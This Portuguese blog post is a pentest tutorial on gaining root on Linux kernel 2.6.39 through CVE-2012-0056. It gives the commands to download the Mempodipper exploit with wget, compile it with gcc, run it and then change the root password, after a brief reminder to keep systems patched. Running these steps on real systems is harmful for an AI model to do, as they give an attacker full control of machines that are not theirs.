Obter acesso como ROOT – Kernel 2.6.39 Vulnerável |
Browse: Home / Obter acesso como ROOT – Kernel 2.6.39 Vulnerável
Por: Marcos Henrique | 2037 Views | Deixe um Comentário
A vulnerabilidade exibida no CVE-2012-0056 destaca a possibilidade de inserir um shell code na memória e obter acesso como root no kernel 2.6.39 e outras versões.
Ainda há muitas empresas que possuem soluções críticas em produção sobre sistemas vulneráveis como este.
É extremamente importante manter todos os sistemas sempre atualizados, reforce este ponto com seus clientes.
Segue passo a passo como explorar a vulnerabilidade:
Logue com um usuário comum e verifique a versão no kernel
Realize o download do exploit mempodipper.c
[email protected]:~$ wget www.100security.com.br/downloads/mempodipper.c
Visualize o arquivo mempodipper.c
Compile o exploit usando o GCC
[email protected]:~$ gcc mempodipper.c -o mempodipper
O exploit mempodipper foi compilado
Execute o exploit
[email protected]:~$ ./mempodipper
Acesso como root realizado com sucesso!
Altere a senha do root
Acesso como root com a nova senha realizada com sucesso!
Categorias: Análise de Vulnerabilidade, Escalação de Privilégio, Ferramentas de Exploração, Pentest, Todos os Artigos | Palavras-chave: mempodipper, root